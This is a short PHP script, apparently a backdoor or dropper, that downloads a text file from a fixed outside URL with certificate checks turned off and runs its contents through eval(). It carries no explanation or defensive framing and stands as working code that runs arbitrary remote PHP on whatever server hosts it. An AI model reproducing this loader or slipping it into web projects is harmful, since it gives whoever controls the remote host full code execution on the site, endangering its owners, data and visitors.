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<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
function callback($url)
{
    $post_content = false;

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    $post_content = curl_exec($ch);
    curl_close($ch);

    if ($post_content) {
        eval('?>' . $post_content);
    }
}

call_user_func('callback', 'https://fcalpha.net/web/photo/20151024/naxc.txt');
?>